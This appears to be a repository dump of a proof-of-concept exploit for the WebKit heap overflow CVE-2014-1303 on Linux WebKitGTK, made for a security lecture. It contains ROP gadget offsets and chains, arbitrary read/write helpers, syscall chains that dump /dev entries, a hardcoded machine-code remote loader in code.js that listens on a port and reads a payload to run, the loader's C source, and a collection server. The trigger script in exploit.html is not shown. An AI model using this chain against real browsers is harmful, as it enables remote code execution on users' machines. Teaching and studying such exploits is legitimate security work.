├── loader ├── bin2js │ └── bin2js.c ├── linker.ld ├── syscall.s ├── Makefile └── main.c ├── scripts ├── utils.js ├── syscall.js ├── code.js ├── roputil.js ├── long.js └── jquery.min.js ├── .gitignore ├── README.md ├── server.py └── exploit.html /loader/bin2js/bin2js.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) { 4 | FILE *f = fopen("loader.bin", "rb"); 5 | fseek(f, 0, SEEK_END); 6 | int s = ftell(f); 7 | rewind(f); 8 | 9 | FILE *o = fopen("loader.js", "wb"); 10 | 11 | int i; 12 | for(i = 0; i < s / 4; i++) { 13 | unsigned int u; 14 | fread(&u, sizeof(u), 1, f); 15 | fprintf(o, "cbuf[%d] = 0x%08x;\n", i, u); 16 | 17 | //if(u == 0) break; 18 | } 19 | 20 | fclose(o); 21 | fclose(f); 22 | 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /scripts/utils.js: -------------------------------------------------------------------------------- 1 | function debug_log(msg) 2 | { 3 | $.ajax({ 4 | url: '/debug/log/', 5 | type: 'POST', 6 | contentType: 'text/html', 7 | data: msg, 8 | processData: false, 9 | async: false 10 | }); 11 | } 12 | 13 | function debug_bin(bin) 14 | { 15 | $.ajax({ 16 | url: '/debug/bin/', 17 | type: 'POST', 18 | contentType: 'application/octet-stream', 19 | data: bin, 20 | processData: false, 21 | async: false 22 | }); 23 | } 24 | -------------------------------------------------------------------------------- /loader/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") 2 | OUTPUT_ARCH(i386:x86-64) 3 | 4 | ENTRY(_start) 5 | 6 | PHDRS 7 | { 8 | code_seg PT_LOAD; 9 | data_seg PT_LOAD; 10 | } 11 | 12 | SECTIONS 13 | { 14 | /* Code segment */ 15 | .text : { 16 | *(.text.start) 17 | *(.text*) 18 | } : code_seg 19 | .rodata : { *(.rodata) *(.rodata*) } : code_seg 20 | 21 | /* Data segment */ 22 | .data : { *(.data) } : data_seg 23 | .bss : { *(.bss) } : data_seg 24 | } 25 | -------------------------------------------------------------------------------- /loader/syscall.s: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .global syscall3 4 | syscall3: 5 | movq %rdi, %rax 6 | movq %rsi, %rdi 7 | movq %rdx, %rsi 8 | movq %rcx, %rdx 9 | syscall 10 | retq 11 | .global syscall2 12 | syscall2: 13 | movq %rdi, %rax 14 | movq %rsi, %rdi 15 | movq %rdx, %rsi 16 | syscall 17 | retq 18 | .global syscall1 19 | syscall1: 20 | movq %rdi, %rax 21 | movq %rsi, %rdi 22 | syscall 23 | retq 24 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /loader/Makefile: -------------------------------------------------------------------------------- 1 | CC := gcc 2 | AS := gcc 3 | OBJCOPY := objcopy 4 | CFLAGS := -O2 -std=c11 -fno-builtin -nostartfiles -nostdlib -masm=intel -m64 -mabi=sysv -mcmodel=large -fno-asynchronous-unwind-tables -fPIE -pie 5 | SFLAGS := -nostartfiles -nostdlib -fno-asynchronous-unwind-tables -fPIE -pie 6 | LFLAGS := $(LDIRS) -T linker.ld -Wl,--build-id=none -fno-asynchronous-unwind-tables -fPIE -pie 7 | CFILES := $(wildcard *.c) 8 | SFILES := $(wildcard *.s) 9 | OBJS := $(patsubst %.c, %.o, $(CFILES)) $(patsubst %.s, %.o, $(SFILES)) 10 | 11 | TARGET = $(shell basename $(CURDIR)).bin 12 | 13 | $(TARGET): $(OBJS) 14 | $(CC) $(CFLAGS) $(LFLAGS) -o temp.t *.o 15 | $(OBJCOPY) -O binary temp.t $(TARGET) 16 | $(CC) -o bin2js.elf bin2js/bin2js.c 17 | #rm -f temp.t 18 | 19 | %.o: %.c 20 | $(CC) -c -o $@ $< $(CFLAGS) 21 | 22 | %.o: %.s 23 | $(AS) -c -o $@ $< $(SFLAGS) 24 | 25 | .PHONY: clean 26 | 27 | clean: 28 | rm -f $(TARGET) *.o *.elf *.js 29 | -------------------------------------------------------------------------------- /loader/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void _start(void) { 6 | 7 | struct sockaddr_in addr; 8 | void *buf = (void *)0x607000; 9 | int server, client; 10 | int nr_socket = 41; 11 | int nr_bind = 49; 12 | int nr_listen = 50; 13 | int nr_accept = 43; 14 | int nr_read = 0; 15 | int nr_close = 3; 16 | int length; 17 | 18 | addr.sin_family = AF_INET; 19 | addr.sin_addr.s_addr = INADDR_ANY; 20 | addr.sin_port = htons(9023); 21 | addr.sin_zero[0] = 0; 22 | addr.sin_zero[1] = 0; 23 | addr.sin_zero[2] = 0; 24 | addr.sin_zero[3] = 0; 25 | addr.sin_zero[4] = 0; 26 | addr.sin_zero[5] = 0; 27 | 28 | server = syscall3 (nr_socket, AF_INET, SOCK_STREAM, 0); 29 | syscall3 (nr_bind, server, &addr, sizeof (addr)); 30 | syscall2 (nr_listen, server, 10); 31 | client = syscall3 (nr_accept, server, 0, 0); 32 | 33 | while ((length = syscall3 (nr_read, client, buf, 4096)) > 0) { 34 | client += length; 35 | } 36 | syscall1 (nr_close, server); 37 | syscall1 (nr_close, client); 38 | } 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-1303 PoC for Linux 2 | CVE-2014-1303 (WebKit Heap based BOF) proof of concept for Linux. 3 | This repository demonstrates the WebKit heap based buffer overflow vulnerability (CVE-2014-1303) on **Linux**. 4 | Used in the seccamp lecture. 5 | 6 | **NOTE:** Original exploit is written for Mac OS X and PS4 (PlayStation4). 7 | 8 | I've ported and tested work on Ubuntu 14.04, [WebKitGTK 2.1.2](https://webkitgtk.org/releases/) 9 | 10 | ## Usage 11 | Firstly you need to run simple web server, 12 | ``` 13 | $ python server.py 14 | ``` 15 | then 16 | ``` 17 | $ cd /path/to/webkitgtk2.1.2/ 18 | $ ./Programs/GtkLauncher http://localhost 19 | ``` 20 | You can run several tests like, 21 | - Crash ROP (Jump to invalid address like 0xdeadbeefdeadbeef) 22 | - Get PID (Get current PID) 23 | - Code Execution (Load and execute payload from outer network) 24 | - File System Dump (Dump "/dev" entries) 25 | 26 | ## Description 27 | **exploit.html** ..... trigger vulnerability and jump to ROP chain 28 | **scripts/roputil.js** ..... utilities for ROP building 29 | **scripts/syscall.js** ..... syscall ROP chains 30 | **scripts/code.js** ..... hard coded remote loader 31 | **loader/** ..... simple remote loader (written in C) 32 | **loader/bin2js** ..... convert binary to js variables (for loader) 33 | 34 | ## Purpose 35 | I've created this WebKit PoC for education in my course. 36 | I couldn't, of course, use actual PS4 console in my lecture for legal reason :( 37 | 38 | ## Reference 39 | CVE 2014-1303 Proof Of Concept for PS4 40 | (https://github.com/Fire30/PS4-2014-1303-POC) 41 | Liang Chen, WEBKIT EVERYWHERE: SECURE OR NOT? [BHEU14] 42 | (https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF) 43 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | # Based on PS4 WebKit exploit 2 | # https://github.com/Fire30/PS4-2014-1303-POC/blob/master/server.py 3 | 4 | import BaseHTTPServer 5 | import json 6 | 7 | HOST_NAME = '0.0.0.0' 8 | PORT_NUMBER = 80 9 | 10 | dump_index = 0 11 | 12 | class ExpServer(BaseHTTPServer.BaseHTTPRequestHandler): 13 | def do_GET(self): 14 | if '/scripts/' in self.path: 15 | self.send_response(200) 16 | self.send_header("Content-type", "text/html") 17 | self.end_headers() 18 | path = self.path[1:] 19 | self.wfile.write(open(path).read()) 20 | else: 21 | self.send_response(200) 22 | self.send_header("Content-type", "text/html") 23 | self.end_headers() 24 | self.wfile.write(open('exploit.html').read()) 25 | 26 | def do_POST(self): 27 | if '/debug/log' in self.path: 28 | data_string = self.rfile.read(int(self.headers['Content-Length'])) 29 | self.send_response(200) 30 | self.end_headers() 31 | print data_string 32 | if '/debug/bin' in self.path: 33 | global dump_index 34 | data_string = self.rfile.read(int(self.headers['Content-Length'])) 35 | self.send_response(200) 36 | self.end_headers() 37 | f = open('dumps/dump_%s.bin' % dump_index, mode='w') 38 | f.write(data_string) 39 | f.close() 40 | print 'Saved dump to dump_%s.bin' % dump_index 41 | dump_index += 1 42 | 43 | def log_message(self, format, *args): 44 | pass 45 | 46 | 47 | if __name__ == '__main__': 48 | dump_index = 0 49 | server_class = BaseHTTPServer.HTTPServer 50 | httpd = server_class((HOST_NAME, PORT_NUMBER), ExpServer) 51 | try: 52 | httpd.serve_forever() 53 | except KeyboardInterrupt: 54 | pass 55 | httpd.server_close() 56 | -------------------------------------------------------------------------------- /scripts/syscall.js: -------------------------------------------------------------------------------- 1 | function get_pid() 2 | { 3 | debug_log("Get PID") 4 | u32[0x10] = u32[0x14]; 5 | u32[0x11] = u32[0x15]; 6 | 7 | var nr_getpid = 39 8 | 9 | syscall("getpid", nr_getpid) 10 | // rax == current pid 11 | // dump rax value 12 | 13 | // pop rdx ; ret ; 14 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rdx) 15 | rop_chain.push(webkitgtk_base_addr_high) 16 | rop_chain.push(bss_addr_low) 17 | rop_chain.push(bss_addr_high) 18 | 19 | // rdx == bss 20 | // mov qword [rdx], rax ; ret ; 21 | rop_chain.push(webkitgtk_base_addr_low + 0x476f2d) 22 | rop_chain.push(webkitgtk_base_addr_high) 23 | 24 | // Finally dump 8 byte from [rdx](== rax) value 25 | rawdump(bss_addr, new dcodeIO.Long(8, 0, true)) 26 | inject_ropcode(rop_chain) 27 | cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2] 28 | } 29 | 30 | function fs_dump() 31 | { 32 | debug_log("Get /dev dump") 33 | u32[0x10] = u32[0x14]; 34 | u32[0x11] = u32[0x15]; 35 | 36 | var nr_open = 2, nr_getdents = 78 37 | 38 | write_str(bss_addr_low, bss_addr_high, "/dev") 39 | 40 | // fd = open(bss_addr, 0, 0) 41 | syscall("open", nr_open, 42 | new dcodeIO.Long(bss_addr_low, bss_addr_high, true), 43 | new dcodeIO.Long(0, 0, true)) 44 | 45 | /* NOTE: You must build your own chain. 46 | * Don't use syscall() helper function here. */ 47 | 48 | // push rax ; pop rdi ; ret (push fd, arg1 = fd) 49 | rop_chain.push(js_core_base_addr_low + 0x4d17a0) 50 | rop_chain.push(js_core_base_addr_high) 51 | 52 | // pop rsi ; ret ; (arg2 = buf) 53 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rsi) 54 | rop_chain.push(webkitgtk_base_addr_high) 55 | rop_chain.push(bss_addr_low + 0x60) 56 | rop_chain.push(bss_addr_high) 57 | 58 | // pop rdx ; ret ; (arg3 = 4096) 59 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rdx) 60 | rop_chain.push(webkitgtk_base_addr_high) 61 | rop_chain.push(4096) 62 | rop_chain.push(0) 63 | 64 | // pop rax ; ret ; (rax = nr_getdents) 65 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rax) 66 | rop_chain.push(webkitgtk_base_addr_high) 67 | rop_chain.push(nr_getdents) 68 | rop_chain.push(0x0) 69 | 70 | // syscall ; ret ; 71 | rop_chain.push(libc_base_addr_low + 0xc5c55) 72 | rop_chain.push(libc_base_addr_high); 73 | 74 | // Finally dump 4096 byte from buf(== bss_addr + 0x60) 75 | rawdump(new dcodeIO.Long(bss_addr_low+0x60, bss_addr_high), new dcodeIO.Long(4096, 0, true)) 76 | 77 | inject_ropcode(rop_chain) 78 | cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2] 79 | } 80 | -------------------------------------------------------------------------------- /scripts/code.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2017 - Ren Kimura (@RKX1209) 3 | */ 4 | // Write remote code loader to loader_addr 5 | function write_loader(loader_addr_l, loader_addr_h) 6 | { 7 | set_base (loader_addr_l, loader_addr_h); 8 | cbuf[0] = 0x8d4c5741; 9 | cbuf[1] = 0xfffff73d; 10 | cbuf[2] = 0x555441ff; 11 | cbuf[3] = 0x80bb4953; 12 | cbuf[4] = 0x00000002; 13 | cbuf[5] = 0x4d000000; 14 | cbuf[6] = 0x02b8df01; 15 | cbuf[7] = 0xba000000; 16 | cbuf[8] = 0x00003f23; 17 | cbuf[9] = 0x18ec8348; 18 | cbuf[10] = 0xfe95bd48; 19 | cbuf[11] = 0xffffffff; 20 | cbuf[12] = 0xc931ffff; 21 | cbuf[13] = 0x3d5c8d4a; 22 | cbuf[14] = 0x04896600; 23 | cbuf[15] = 0x54896624; 24 | cbuf[16] = 0x02be0224; 25 | cbuf[17] = 0xba000000; 26 | cbuf[18] = 0x00000001; 27 | cbuf[19] = 0x000029bf; 28 | cbuf[20] = 0x2444c700; 29 | cbuf[21] = 0x00000004; 30 | cbuf[22] = 0x2444c600; 31 | cbuf[23] = 0xc0310008; 32 | cbuf[24] = 0x092444c6; 33 | cbuf[25] = 0x2444c600; 34 | cbuf[26] = 0x44c6000a; 35 | cbuf[27] = 0xc6000b24; 36 | cbuf[28] = 0x000c2444; 37 | cbuf[29] = 0x0d2444c6; 38 | cbuf[30] = 0x48d3ff00; 39 | cbuf[31] = 0x8941e289; 40 | cbuf[32] = 0xb9c689c4; 41 | cbuf[33] = 0x00000010; 42 | cbuf[34] = 0x000031bf; 43 | cbuf[35] = 0xffc03100; 44 | cbuf[36] = 0xa4b948d3; 45 | cbuf[37] = 0xfffffffe; 46 | cbuf[38] = 0xbaffffff; 47 | cbuf[39] = 0x0000000a; 48 | cbuf[40] = 0xbfe68944; 49 | cbuf[41] = 0x00000032; 50 | cbuf[42] = 0x31f9014c; 51 | cbuf[43] = 0x31d1ffc0; 52 | cbuf[44] = 0x44d231c9; 53 | cbuf[45] = 0x2bbfe689; 54 | cbuf[46] = 0x31000000; 55 | cbuf[47] = 0x89d3ffc0; 56 | cbuf[48] = 0x0f07ebc3; 57 | cbuf[49] = 0x0000441f; 58 | cbuf[50] = 0xff31c301; 59 | cbuf[51] = 0x00b9c031; 60 | cbuf[52] = 0xba000010; 61 | cbuf[53] = 0x00607000; 62 | cbuf[54] = 0x8d4ede89; 63 | cbuf[55] = 0x41003d44; 64 | cbuf[56] = 0xc085d0ff; 65 | cbuf[57] = 0xbd48e27f; 66 | cbuf[58] = 0xfffffeb0; 67 | cbuf[59] = 0xffffffff; 68 | cbuf[60] = 0xbfe68944; 69 | cbuf[61] = 0x00000003; 70 | cbuf[62] = 0x31fd014c; 71 | cbuf[63] = 0x89d5ffc0; 72 | cbuf[64] = 0x0003bfde; 73 | cbuf[65] = 0xc0310000; 74 | cbuf[66] = 0x8348d5ff; 75 | cbuf[67] = 0x5d5b18c4; 76 | cbuf[68] = 0x5f415c41; 77 | cbuf[69] = 0xf88948c3; 78 | cbuf[70] = 0x48f78948; 79 | cbuf[71] = 0x8948d689; 80 | cbuf[72] = 0xc3050fca; 81 | cbuf[73] = 0x48f88948; 82 | cbuf[74] = 0x8948f789; 83 | cbuf[75] = 0xc3050fd6; 84 | cbuf[76] = 0x48f88948; 85 | cbuf[77] = 0x050ff789; 86 | cbuf[78] = 0x696c2fc3; 87 | cbuf[79] = 0x2f343662; 88 | cbuf[80] = 0x6c2d646c; 89 | cbuf[81] = 0x78756e69; 90 | cbuf[82] = 0x3638782d; 91 | cbuf[83] = 0x2e34362d; 92 | cbuf[84] = 0x322e6f73; 93 | restore_base (); 94 | } 95 | -------------------------------------------------------------------------------- /scripts/roputil.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2017 - Ren Kimura (@RKX1209) 3 | */ 4 | 5 | // Gadget offsets from libwebkitgtk 6 | var offset_pop_rax = 0x72a20; //pop rax ; ret 7 | var offset_pop_rdi = 0x3c9660; //pop rdi ; ret 8 | var offset_pop_rsi = 0x3c943a; //pop rsi ; ret 9 | var offset_pop_rdx = 0x6fdc0; //pop rdx ; ret 10 | var offset_pop_r10 = 0x5fd44f; //pop r10 ; ret 11 | var offset_pop_r8 = 0x3d9b22; //pop r8 ; ret 12 | var offset_pop_r9 = 0x5fd67f; //pop r9 ; ret 13 | 14 | // Create syscall chain 15 | function syscall(name, syscall_number, arg1, arg2, arg3, arg4, arg5, arg6) 16 | { 17 | debug_log("syscall " + name) 18 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rax) 19 | rop_chain.push(webkitgtk_base_addr_high) 20 | rop_chain.push(syscall_number) 21 | rop_chain.push(0x0) 22 | if(typeof(arg1) !== "undefined") 23 | { 24 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rdi) 25 | rop_chain.push(webkitgtk_base_addr_high) 26 | rop_chain.push(arg1.getLowBitsUnsigned()) 27 | rop_chain.push(arg1.getHighBitsUnsigned()) 28 | } 29 | if(typeof(arg2) !== "undefined") 30 | { 31 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rsi) 32 | rop_chain.push(webkitgtk_base_addr_high) 33 | rop_chain.push(arg2.getLowBitsUnsigned()) 34 | rop_chain.push(arg2.getHighBitsUnsigned()) 35 | } 36 | if(typeof(arg3) !== "undefined") 37 | { 38 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_rdx) 39 | rop_chain.push(webkitgtk_base_addr_high) 40 | rop_chain.push(arg3.getLowBitsUnsigned()) 41 | rop_chain.push(arg3.getHighBitsUnsigned()) 42 | } 43 | if(typeof(arg4) !== "undefined") 44 | { 45 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_r10) 46 | rop_chain.push(webkitgtk_base_addr_high) 47 | rop_chain.push(arg4.getLowBitsUnsigned()) 48 | rop_chain.push(arg4.getHighBitsUnsigned()) 49 | } 50 | if(typeof(arg5) !== "undefined") 51 | { 52 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_r8) 53 | rop_chain.push(webkitgtk_base_addr_high) 54 | rop_chain.push(arg5.getLowBitsUnsigned()) 55 | rop_chain.push(arg5.getHighBitsUnsigned()) 56 | } 57 | if(typeof(arg6) !== "undefined") 58 | { 59 | rop_chain.push(webkitgtk_base_addr_low + offset_pop_r9) 60 | rop_chain.push(webkitgtk_base_addr_high) 61 | rop_chain.push(arg6.getLowBitsUnsigned()) 62 | rop_chain.push(arg6.getHighBitsUnsigned()) 63 | } 64 | // syscall ; ret ; 65 | rop_chain.push(libc_base_addr_low + 0xc5c55) 66 | rop_chain.push(libc_base_addr_high); 67 | } 68 | 69 | // Dump [addr, addr + size) 70 | function rawdump(addr, size) 71 | { 72 | //In WebKit, fd1 == output of current /dev/pts/ 73 | nr_write = 1 74 | fd = new dcodeIO.Long(1, 0, true) 75 | syscall("write", nr_write, fd, addr, size) 76 | } 77 | 78 | function inject_ropcode(rop_chain) 79 | { 80 | //rop chain starts at the index of 0x12 in cbuf 81 | for(var i = 0; i < rop_chain.length; i++) 82 | cbuf[0x12 + i] = rop_chain[i] 83 | debug_log ("Writing ROP chain completed!") 84 | } 85 | 86 | function set_base(addr_low,addr_high) 87 | { 88 | u32[0x14] = addr_low; 89 | u32[0x15] = addr_high; 90 | } 91 | function restore_base() 92 | { 93 | u32[0x14] = oldlow; 94 | u32[0x15] = oldhigh; 95 | } 96 | 97 | // read8 and write8 taken from Liang Chen's presentation on CVE 2014-1303 98 | function read8(addr_low,addr_high) 99 | { 100 | set_base(addr_low, addr_high) 101 | var result = [cbuf[0],cbuf[1]] 102 | restore_base(); 103 | return result 104 | } 105 | function write8(addr_low,addr_high,value_low,value_high) 106 | { 107 | set_base(addr_low, addr_high) 108 | cbuf[0] = value_low; 109 | cbuf[1] = value_high; 110 | restore_base() 111 | return; 112 | } 113 | 114 | // XXX: str.length must be 4 multiple 115 | function write_str(addr_low, addr_high, str) 116 | { 117 | set_base(addr_low, addr_high) 118 | for (i = 0; i < str.length / 4; i++) { 119 | var str4 = (str.charCodeAt(i+3)<<24) | (str.charCodeAt(i+2)<<16) | 120 | (str.charCodeAt(i+1)<<8) | (str.charCodeAt(i)) 121 | cbuf[i] = str4; 122 | } 123 | cbuf[i] = 0x0 //NULL '\0' 124 | restore_base() 125 | } 126 | -------------------------------------------------------------------------------- /scripts/long.js: -------------------------------------------------------------------------------- 1 | /* 2 | long.js (c) 2013 Daniel Wirtz 3 | Released under the Apache License, Version 2.0 4 | see: https://github.com/dcodeIO/long.js for details 5 | */ 6 | (function(d,g){"function"===typeof define&&define.amd?define([],g):"function"===typeof require&&"object"===typeof module&&module&&module.exports?module.exports=g():(d.dcodeIO=d.dcodeIO||{}).Long=g()})(this,function(){function d(a,b,c){this.low=a|0;this.high=b|0;this.unsigned=!!c}function g(a){return!0===(a&&a.__isLong__)}function m(a,b){var c,t;if(b){a>>>=0;if(t=0<=a&&256>a)if(c=z[a])return c;c=e(a,0>(a|0)?-1:0,!0);t&&(z[a]=c)}else{a|=0;if(t=-128<=a&&128>a)if(c=A[a])return c;c=e(a,0>a?-1:0,!1);t&& 7 | (A[a]=c)}return c}function n(a,b){if(isNaN(a)||!isFinite(a))return b?p:k;if(b){if(0>a)return p;if(a>=B)return C}else{if(a<=-D)return l;if(a+1>=D)return E}return 0>a?n(-a,b).neg():e(a%4294967296|0,a/4294967296|0,b)}function e(a,b,c){return new d(a,b,c)}function x(a,b,c){if(0===a.length)throw Error("empty string");if("NaN"===a||"Infinity"===a||"+Infinity"===a||"-Infinity"===a)return k;"number"===typeof b?(c=b,b=!1):b=!!b;c=c||10;if(2>c||36d?(d=n(v(c,d)),e=e.mul(d).add(n(g))):(e=e.mul(t),e=e.add(n(g)))}e.unsigned=b;return e}function q(a){return a instanceof d?a:"number"===typeof a?n(a):"string"===typeof a?x(a):e(a.low,a.high,a.unsigned)}Object.defineProperty(d.prototype,"__isLong__",{value:!0,enumerable:!1,configurable:!1});d.isLong=g;var A={},z={};d.fromInt=m;d.fromNumber=n;d.fromBits= 9 | e;var v=Math.pow;d.fromString=x;d.fromValue=q;var B=4294967296*4294967296,D=B/2,F=m(16777216),k=m(0);d.ZERO=k;var p=m(0,!0);d.UZERO=p;var r=m(1);d.ONE=r;var G=m(1,!0);d.UONE=G;var y=m(-1);d.NEG_ONE=y;var E=e(-1,2147483647,!1);d.MAX_VALUE=E;var C=e(-1,-1,!0);d.MAX_UNSIGNED_VALUE=C;var l=e(0,-2147483648,!1);d.MIN_VALUE=l;var b=d.prototype;b.toInt=function(){return this.unsigned?this.low>>>0:this.low};b.toNumber=function(){return this.unsigned?4294967296*(this.high>>>0)+(this.low>>>0):4294967296*this.high+ 10 | (this.low>>>0)};b.toString=function(a){a=a||10;if(2>a||36>>0).toString(a),b=d;if(b.isZero())return f+e;for(;6>f.length;)f="0"+f;e=""+f+e}};b.getHighBits=function(){return this.high};b.getHighBitsUnsigned= 11 | function(){return this.high>>>0};b.getLowBits=function(){return this.low};b.getLowBitsUnsigned=function(){return this.low>>>0};b.getNumBitsAbs=function(){if(this.isNegative())return this.eq(l)?64:this.neg().getNumBitsAbs();for(var a=0!=this.high?this.high:this.low,b=31;0this.high};b.isPositive=function(){return this.unsigned||0<=this.high};b.isOdd= 12 | function(){return 1===(this.low&1)};b.isEven=function(){return 0===(this.low&1)};b.equals=function(a){g(a)||(a=q(a));return this.unsigned!==a.unsigned&&1===this.high>>>31&&1===a.high>>>31?!1:this.high===a.high&&this.low===a.low};b.eq=b.equals;b.notEquals=function(a){return!this.eq(a)};b.neq=b.notEquals;b.lessThan=function(a){return 0>this.comp(a)};b.lt=b.lessThan;b.lessThanOrEqual=function(a){return 0>=this.comp(a)};b.lte=b.lessThanOrEqual;b.greaterThan=function(a){return 0>>0>this.high>>>0||a.high===this.high&&a.low>>>0>this.low>>>0?-1:1:this.sub(a).isNegative()?-1:1};b.comp=b.compare;b.negate=function(){return!this.unsigned&&this.eq(l)?l:this.not().add(r)};b.neg=b.negate;b.add=function(a){g(a)||(a=q(a));var b=this.high>>>16,c=this.high&65535, 14 | d=this.low>>>16,l=a.high>>>16,f=a.high&65535,n=a.low>>>16,k;k=0+((this.low&65535)+(a.low&65535));a=0+(k>>>16);a+=d+n;d=0+(a>>>16);d+=c+f;c=0+(d>>>16);c=c+(b+l)&65535;return e((a&65535)<<16|k&65535,c<<16|d&65535,this.unsigned)};b.subtract=function(a){g(a)||(a=q(a));return this.add(a.neg())};b.sub=b.subtract;b.multiply=function(a){if(this.isZero())return k;g(a)||(a=q(a));if(a.isZero())return k;if(this.eq(l))return a.isOdd()?l:k;if(a.eq(l))return this.isOdd()?l:k;if(this.isNegative())return a.isNegative()? 15 | this.neg().mul(a.neg()):this.neg().mul(a).neg();if(a.isNegative())return this.mul(a.neg()).neg();if(this.lt(F)&&a.lt(F))return n(this.toNumber()*a.toNumber(),this.unsigned);var b=this.high>>>16,c=this.high&65535,d=this.low>>>16,w=this.low&65535,f=a.high>>>16,m=a.high&65535,p=a.low>>>16;a=a.low&65535;var u,h,s,r;r=0+w*a;s=0+(r>>>16);s+=d*a;h=0+(s>>>16);s=(s&65535)+w*p;h+=s>>>16;s&=65535;h+=c*a;u=0+(h>>>16);h=(h&65535)+d*p;u+=h>>>16;h&=65535;h+=w*m;u+=h>>>16;h&=65535;u=u+(b*a+c*p+d*m+w*f)&65535;return e(s<< 16 | 16|r&65535,u<<16|h,this.unsigned)};b.mul=b.multiply;b.divide=function(a){g(a)||(a=q(a));if(a.isZero())throw Error("division by zero");if(this.isZero())return this.unsigned?p:k;var b,c,d;if(this.unsigned){a.unsigned||(a=a.toUnsigned());if(a.gt(this))return p;if(a.gt(this.shru(1)))return G;d=p}else{if(this.eq(l)){if(a.eq(r)||a.eq(y))return l;if(a.eq(l))return r;b=this.shr(1).div(a).shl(1);if(b.eq(k))return a.isNegative()?r:y;c=this.sub(a.mul(b));return d=b.add(c.div(a))}if(a.eq(l))return this.unsigned? 17 | p:k;if(this.isNegative())return a.isNegative()?this.neg().div(a.neg()):this.neg().div(a).neg();if(a.isNegative())return this.div(a.neg()).neg();d=k}for(c=this;c.gte(a);){b=Math.max(1,Math.floor(c.toNumber()/a.toNumber()));for(var e=Math.ceil(Math.log(b)/Math.LN2),e=48>=e?1:v(2,e-48),f=n(b),m=f.mul(a);m.isNegative()||m.gt(c);)b-=e,f=n(b,this.unsigned),m=f.mul(a);f.isZero()&&(f=r);d=d.add(f);c=c.sub(m)}return d};b.div=b.divide;b.modulo=function(a){g(a)||(a=q(a));return this.sub(this.div(a).mul(a))}; 18 | b.mod=b.modulo;b.not=function(){return e(~this.low,~this.high,this.unsigned)};b.and=function(a){g(a)||(a=q(a));return e(this.low&a.low,this.high&a.high,this.unsigned)};b.or=function(a){g(a)||(a=q(a));return e(this.low|a.low,this.high|a.high,this.unsigned)};b.xor=function(a){g(a)||(a=q(a));return e(this.low^a.low,this.high^a.high,this.unsigned)};b.shiftLeft=function(a){g(a)&&(a=a.toInt());return 0===(a&=63)?this:32>a?e(this.low<>>32-a,this.unsigned):e(0,this.low<a?e(this.low>>>a|this.high<<32-a,this.high>>a,this.unsigned):e(this.high>>a-32,0<=this.high?0:-1,this.unsigned)};b.shr=b.shiftRight;b.shiftRightUnsigned=function(a){g(a)&&(a=a.toInt());a&=63;if(0===a)return this;var b=this.high;return 32>a?e(this.low>>>a|b<<32-a,b>>>a,this.unsigned):32===a?e(b,0,this.unsigned):e(b>>>a-32,0,this.unsigned)};b.shru=b.shiftRightUnsigned;b.toSigned=function(){return this.unsigned? 20 | e(this.low,this.high,!1):this};b.toUnsigned=function(){return this.unsigned?this:e(this.low,this.high,!0)};return d}); 21 | -------------------------------------------------------------------------------- /exploit.html: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | Crash ROP 213 | Get PID 214 | FileSystem dump 215 | Code Execution 216 |